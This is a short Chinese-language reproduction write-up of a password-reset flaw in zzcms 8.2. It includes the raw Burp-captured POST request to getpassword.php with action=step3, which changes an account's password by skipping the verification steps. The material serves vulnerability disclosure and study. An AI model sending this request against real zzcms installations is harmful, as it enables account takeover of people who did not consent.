环境：
Web： phpstudy
System： Windows 10x64
源码版本为：zzcms 8.2
漏洞详情
1、环境的搭建
image.png
2、创建数据库
image.png
3、测试是否可以访问
image.png
本地复现开始
1、首先先注册个账号,然后首页点击找回密码
image.png
2、然后退出点找回密码链接：http://127.0.0.1/one/getpassword.php
3、用burp抓包：
1.png
4、设置Payload
POST /one/getpassword.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 91
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/one/getpassword.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: timezone=8; PHPSESSID=e9nqsiqk95ilvgt98uogkp7fc6; BkGOp9578O_think_template=default; bdshare_firstime=1534304509497
Connection: close
Upgrade-Insecure-Requests: 1
password=test&action=step3&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5
5、继续Forward，账号修改成功
2.png
